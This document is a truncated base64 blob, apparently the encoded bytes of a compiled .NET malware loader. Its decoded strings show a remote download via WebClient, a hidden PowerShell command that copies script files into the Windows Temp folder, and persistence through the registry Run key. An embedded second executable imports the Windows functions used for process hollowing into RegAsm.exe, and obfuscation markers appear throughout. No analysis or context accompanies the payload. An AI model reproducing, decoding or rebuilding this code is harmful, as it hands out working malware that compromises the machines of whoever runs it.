UAc2V0X0ZpbGVOYW1lAEdldFR5cGUAZ2V0X0N1bHR1cmUAc2V0X0N1bHR1cmUAcmVzb3VyY2VDdWx0dXJlAE1ldGhvZEJhc2UAQXBwbGljYXRpb25CYXNlAEFwcGxpY2F0aW9uU2V0dGluZ3NCYXNlAENsb3NlAFN0clJldmVyc2UARWRpdG9yQnJvd3NhYmxlU3RhdGUAQ29tcGlsZXJHZW5lcmF0ZWRBdHRyaWJ1dGUAR3VpZEF0dHJpYnV0ZQBIZWxwS2V5d29yZEF0dHJpYnV0ZQBHZW5lcmF0ZWRDb2RlQXR0cmlidXRlAERlYnVnZ2VyTm9uVXNlckNvZGVBdHRyaWJ1dGUARGVidWdnYWJsZUF0dHJpYnV0ZQBFZGl0b3JCcm93c2FibGVBdHRyaWJ1dGUAQ29tVmlzaWJsZUF0dHJpYnV0ZQBBc3NlbWJseVRpdGxlQXR0cmlidXRlAFN0YW5kYXJkTW9kdWxlQXR0cmlidXRlAEhpZGVNb2R1bGVOYW1lQXR0cmlidXRlAEFzc2VtYmx5VHJhZGVtYXJrQXR0cmlidXRlAFRhcmdldEZyYW1ld29ya0F0dHJpYnV0ZQBEZWJ1Z2dlckhpZGRlbkF0dHJpYnV0ZQBBc3NlbWJseUZpbGVWZXJzaW9uQXR0cmlidXRlAE15R3JvdXBDb2xsZWN0aW9uQXR0cmlidXRlAEFzc2VtYmx5RGVzY3JpcHRpb25BdHRyaWJ1dGUAQ29tcGlsYXRpb25SZWxheGF0aW9uc0F0dHJpYnV0ZQBBc3NlbWJseVByb2R1Y3RBdHRyaWJ1dGUAQXNzZW1ibHlDb3B5cmlnaHRBdHRyaWJ1dGUAQXNzZW1ibHlDb21wYW55QXR0cmlidXRlAFJ1bnRpbWVDb21wYXRpYmlsaXR5QXR0cmlidXRlAGdldF9WYWx1ZQBzZXRfVmFsdWUAR2V0T2JqZWN0VmFsdWUAU2V0VmFsdWUAU3lzdGVtLlJ1bnRpbWUuVmVyc2lvbmluZwBGcm9tQmFzZTY0U3RyaW5nAERvd25sb2FkU3RyaW5nAFRvU3RyaW5nAE1pY3Jvc29mdC5WaXN1YWxCYXNpYy5NeVNlcnZpY2VzLkludGVybmFsAFN5c3RlbS5Db21wb25lbnRNb2RlbABDbGFzc0xpYnJhcnkzLmRsbABTeXN0ZW0AcmVzb3VyY2VNYW4AU3lzdGVtLkNvbXBvbmVudE1vZGVsLkRlc2lnbgBBcHBEb21haW4AZ2V0X0N1cnJlbnREb21haW4AZ2V0X0FwcGxpY2F0aW9uAE15QXBwbGljYXRpb24AU3lzdGVtLkNvbmZpZ3VyYXRpb24AU3lzdGVtLkdsb2JhbGl6YXRpb24AU3lzdGVtLlJlZmxlY3Rpb24ARXhjZXB0aW9uAFJ1bgBNZXRob2RJbmZvAEN1bHR1cmVJbmZvAHNldF9TdGFydEluZm8AUHJvY2Vzc1N0YXJ0SW5mbwBtX0FwcE9iamVjdFByb3ZpZGVyAG1fVXNlck9iamVjdFByb3ZpZGVyAG1fQ29tcHV0ZXJPYmplY3RQcm92aWRlcgBtX015V2ViU2VydmljZXNPYmplY3RQcm92aWRlcgBnZXRfUmVzb3VyY2VNYW5hZ2VyAFN5c3RlbS5Db2RlRG9tLkNvbXBpbGVyAGdldF9Vc2VyAEN1cnJlbnRVc2VyAGdldF9Db21wdXRlcgBNeUNvbXB1dGVyAENsZWFyUHJvamVjdEVycm9yAFNldFByb2plY3RFcnJvcgBBY3RpdmF0b3IALmN0b3IALmNjdG9yAFN5c3RlbS5EaWFnbm9zdGljcwBNaWNyb3NvZnQuVmlzdWFsQmFzaWMuRGV2aWNlcwBnZXRfV2ViU2VydmljZXMATXlXZWJTZXJ2aWNlcwBNaWNyb3NvZnQuVmlzdWFsQmFzaWMuQXBwbGljYXRpb25TZXJ2aWNlcwBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMATWljcm9zb2Z0LlZpc3VhbEJhc2ljLkNvbXBpbGVyU2VydmljZXMAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBTeXN0ZW0uUmVzb3VyY2VzAENsYXNzTGlicmFyeTMuTXkuUmVzb3VyY2VzAENsYXNzTGlicmFyeTMuUmVzb3VyY2VzLnJlc291cmNlcwBEZWJ1Z2dpbmdNb2RlcwBTdHJpbmdzAGdldF9TZXR0aW5ncwBNeVNldHRpbmdzAFJlZmVyZW5jZUVxdWFscwBSdW50aW1lSGVscGVycwBQcm9jZXNzAHNldF9Bcmd1bWVudHMARXhpc3RzAENvbmNhdABHZXRPYmplY3QATXlQcm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CHAQAApwEAALsBAADJAQAA6AEAAPYBAAAfAgAAOgIAAE0CAABaAgAAZAIAAH0CAACRAgAApQIAALMCAADLAgAA4QIAAAYDAAAeAwAAPQMAAF4DAAB8AwAAhwMAAKADAACxAwAAzwMAAPUDAAA4EgQAABESLBMIcj0AAHADKCUAAAoMFzg3////Agh+JgAACn4mAAAKFhp+JgAAChQSAxIEKBAAAAYW/gETExg4D////xETLAZzJwAACnoEHzwoKAAAChMFGTj1/v//BBEFHzTWKCgAAAoTBho44v7//yCzAAAAjQoAAAETBxs40P7//xEHFiACAAEAnhw4wf7//ygpAAAKGv4BExQdOLH+//8RFCwlEQR7CgAABBEHKBEAAAYW/gETFR44lP7//xEVLAZzJwAACnorJBEEewoAAAQRBygSAAAGFv4BExYfCThu/v//ERYsBnMnAAAKehEHHymUEwgfCjhW/v//EQR7CQAABBEIHtYSCRoSASgVAAAGFv4BExcfCzg1/v//ERcsBnMnAAAKehEGEQn+ARMYHww4HP7//xEYLCQRBHsJAAAEEQkoFwAABhb+AxMZHw04/v3//xEZLAZzJwAACnoEEQUfUNYoKAAAChMKHw444P3//wQRBR9U1igoAAAKEwsfDzjM/f//EQR7CQAABBEGEQogADAAAB9AKBgAAAYTDR8QOKz9//8FLQcRDRb+ASsBFhMaHxE4mP3//xEaLCkXEwwfEjiK/f//EQR7CQAABBYRCiAAMAAAH0AoGAAABhMNHxM4a/3//xENFv4BExsfFDhd/f//ERssBnMnAAAKehEEewkAAAQRDQQRCxIBKBYAAAYW/gETHB8VODT9//8RHCwGcycAAAp6EQUg+AAAANYTDh8WOBn9//8EEQUc1igqAAAKEw8fFzgG/f//EQ8X2hMdHxg4+fz//xYTHh8ZOO/8//84uwAAAAQRDh8M1igoAAAKEx8fGjjW/P//BBEOHxDWKCgAAAoTIB8bOML8//8EEQ4fFNYoKAAAChMhHxw4rvz//xEgFv4DEyIfHTig/P//ESIsWREgF9oX1o0bAAABEyMfHjiI/P//BBEhESMWESOOaSgrAAAKHx84cvz//xEEewkAAAQRDREf1hEjESOOaRIBKBYAAAYW/gETJB8gOE38//8RJCwGcycAAAp6EQ4fKNYTDh8hODX8//8RHhfWEx4RHhEdPjz///8RDSgsAAAKExAfIjgW/P//EQR7CQAABBEIHtYREBoSASgWAAAGFv4BEyUfIzj1+///ESUsBnMnAAAKegQRBR8o1igoAAAKExEfJDjX+///EQwTJh8lOMz7//8RJiwEEQYTDREHHywRDRER1p4fJjiz+///KCkAAAoa/gETJx8nOKL7//8RJywmEQR7CgAABBEHKBMAAAYW/gETKB8oOIT7//8RKCwGcycAAAp6KyQRBHsKAAAEEQcoFAAABhb+ARMpHyk4Xvv//xEpLAZzJwAACnoRBHsKAAAEKBkAAAYV/gETKh8qODz7//8RKiwGcycAAAp63l0oLQAAChYrARZFBQAAAAIAAAAUAAAAHgAAACwAAAAxAAAAKzcRBHsLAAAEhCguAAAKEysXK9MRKxT+AxMsGCvJESwsChErby8AAAoZK7sWChortigwAAAKGyuu3ggXCho4avr//wYqQRwAAAAAAABiAAAA3wQAAEEFAABdAAAAGQAAARMwAgAVAAAACgAAERcrARYsAAIDKA0AAAooDgAACgoGKgAAABMwAQAPAAAACwAAERcrARYsAAIoDwAACgoGKgATMAEAEwAAAAwAABEXKwEWLADQCQAAAigQAAAKCgYqABMwAQAPAAAADQAAERcrARYsAAIoEQAACgoGKgATMAIAMgAAAA4AABECjAUAABsU/gELFisBFkUCAAAAAgAAAA4AAAArEwcsCygBAAArChcr5SsFAgoYK94GKiID/hUFAAAbKh4CKBMAAAoqABMwAgBWAAAADwAAEQJ7FAAACm8VAAAKCxYrARZFBAAAAAIAAAAPAAAAGwAAACoAAAArLQeMCAAAGxT+AQwXK9wILBgoAgAAKwsYK9ACexQAAAoHbxcAAAoZK8EHChorvAYqYhcrARYsAAIoEwAACgJzGQAACn0UAAAKKh4CKDEAAAoqAEJTSkIBAAEAAAAAAAwAAAB2NC4wLjMwMzE5AAAAAAUAbAAAAGgLAAAjfgAA1AsAABAMAAAjU3RyaW5ncwAAAADkFwAARAAAACNVUwAoGAAAEAAAACNHVUlEAAAAOBgAACAFAAAjQmxvYgAAAAAAAAACAAABV52iHQkPAAAA+gEzABYAAAEAAAA2AAAADQAAAB8AAAAlAAAALgAAAEYAAAABAAAATA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cCAAABMQBpCwEAAAEzANoBAQAEgAAAAQAAAAAAAAAAAAAAAAA8AAAACgAAAAAAAAAAAAAAiQGYAQAAAAAEAAAAAAAAAAAAAACSAY8BAAAAAAQAAAAAAAAAAAAAAJIBqgYAAAAAAAAAAAEAAADOCQAACQAEAAoABAALAAgADAAIAAAAEAAUAEcBAAAQAEEARwEAAAAAQwBHASUAdwElAIQBAAAAQ29udGV4dFZhbHVlYDEAVGhyZWFkU2FmZU9iamVjdFByb3ZpZGVyYDEAUmVzZXJ2ZWQxAENsYXNzMQBDbGFzc0xpYnJhcnkxAFRvSW50MzIAY2JSZXNlcnZlZDIAVG9JbnQxNgA8TW9kdWxlPgBSZXN1bWVUaHJlYWRfQVBJAE50VW5tYXBWaWV3T2ZTZWN0aW9uX0FQSQBDcmVhdGVQcm9jZXNzX0FQSQBXb3c2NEdldFRocmVhZENvbnRleHRfQVBJAFdvdzY0U2V0VGhyZWFkQ29udGV4dF9BUEkAVmlydHVhbEFsbG9jRXhfQVBJAFJlYWRQcm9jZXNzTWVtb3J5X0FQSQBXcml0ZVByb2Nlc3NNZW1vcnlfQVBJAFNUQVJUVVBfSU5GT1JNQVRJT04AUFJPQ0VTU19JTkZPUk1BVElPTgBUAGR3WABkd1kARGlzcG9zZV9fSW5zdGFuY2VfXwBDcmVhdGVfX0luc3RhbmNlX18AU2l6ZV8AUHJvamVjdERhdGEAZGF0YQBtc2NvcmxpYgBNaWNyb3NvZnQuVmlzdWFsQmFzaWMAVGhyZWFkSWQAUHJvY2Vzc0lkAEdldFByb2Nlc3NCeUlkAGJ5dGVzUmVhZABSZXN1bWVUaHJlYWQAdGhyZWFkAFN5bmNocm9uaXplZABjbWQAQ3JlYXRlSW5zdGFuY2UAZ2V0X0dldEluc3RhbmNlAGRlZmF1bHRJbnN0YW5jZQBpbnN0YW5jZQBHZXRIYXNoQ29kZQBjb21wYXRpYmxlAFRocmVhZEhhbmRsZQBSdW50aW1lVHlwZUhhbmRsZQBHZXRUeXBlRnJvbUhhbmRsZQBQcm9jZXNzSGFuZGxlAGhhbmRsZQBUaXRsZQBhcHBsaWNhdGlvbk5hbWUAY29tbWFuZExpbmUAVmFsdWVUeXBlAEdldFR5cGUAdHlwZQBnZXRfQ3VsdHVyZQBzZXRfQ3VsdHVyZQByZXNvdXJjZUN1bHR1cmUAQXBwbGljYXRpb25CYXNlAEFwcGxpY2F0aW9uU2V0dGluZ3NCYXNlAEVkaXRvckJyb3dzYWJsZVN0YXRlAENvbXBpbGVyR2VuZXJhdGVkQXR0cmlidXRlAEd1aWRBdHRyaWJ1dGUASGVscEtleXdvcmRBdHRyaWJ1dGUAR2VuZXJhdGVkQ29kZUF0dHJpYnV0ZQBEZWJ1Z2dlck5vblVzZXJDb2RlQXR0cmlidXRlAERlYnVnZ2FibGVBdHRyaWJ1dGUARWRpdG9yQnJvd3NhYmxlQXR0cmlidXRlAENvbVZpc2libGVBdHRyaWJ1dGUAQXNzZW1ibHlUaXRsZUF0dHJpYnV0ZQBTdGFuZGFyZE1vZHVsZUF0dHJpYnV0ZQBIaWRlTW9kdWxlTmFtZUF0dHJpYnV0ZQBBc3NlbWJseVRyYWRlbWFya0F0dHJpYnV0ZQBUYXJnZXRGcmFtZXdvcmtBdHRyaWJ1dGUAZHdGaWxsQXR0cmlidXRlAERlYnVnZ2VySGlkZGVuQXR0cmlidXRlAEFzc2VtYmx5RmlsZVZlcnNpb25BdHRyaWJ1dGUAT2JmdXNjYXRpb25BdHRyaWJ1dGUATXlHcm91cENvbGxlY3Rpb25BdHRyaWJ1dGUAQXNzZW1ibHlEZXNjcmlwdGlvbkF0dHJpYnV0ZQBZYW5vQXR0cmlidXRlAENvbXBpbGF0aW9uUmVsYXhhdGlvbnNBdHRyaWJ1dGUAQXNzZW1ibHlQcm9kdWN0QXR0cmlidXRlAEFzc2VtYmx5Q29weXJpZ2h0QXR0cmlidXRlAEFzc2VtYmx5Q29tcGFueUF0dHJpYnV0ZQBSdW50aW1lQ29tcGF0aWJpbGl0eUF0dHJpYnV0ZQBTdXBwcmVzc1VubWFuYWdlZENvZGVTZWN1cml0eUF0dHJpYnV0ZQBCeXRlAGdldF9WYWx1ZQBzZXRfVmFsdWUAR2V0T2JqZWN0VmFsdWUAZHdYU2l6ZQBkd1lTaXplAGdldF9TaXplAGJ1ZmZlclNpemUAU2l6ZU9mAFN5c3RlbS5SdW50aW1lLlZlcnNpb25pbmcAVG9TdHJpbmcAcGF0aABsZW5ndGgATWFyc2hhbABNaWNyb3NvZnQuVmlzdWFsQmFzaWMuTXlTZXJ2aWNlcy5JbnRlcm5hbABTeXN0ZW0uQ29tcG9uZW50TW9kZWwAQ2xhc3NMaWJyYXJ5MS5kbGwAa2VybmVsMzIuZGxsAG50ZGxsLmRsbABLaWxsAFN5c3RlbQByZXNvdXJjZU1hbgBCb29sZWFuAGJ5dGVzV3JpdHRlbgBTeXN0ZW0uQ29tcG9uZW50TW9kZWwuRGVzaWduAFZlcnNpb24AZ2V0X0FwcGxpY2F0aW9uAE15QXBwbGljYXRpb24AcHJvY2Vzc0luZm9ybWF0a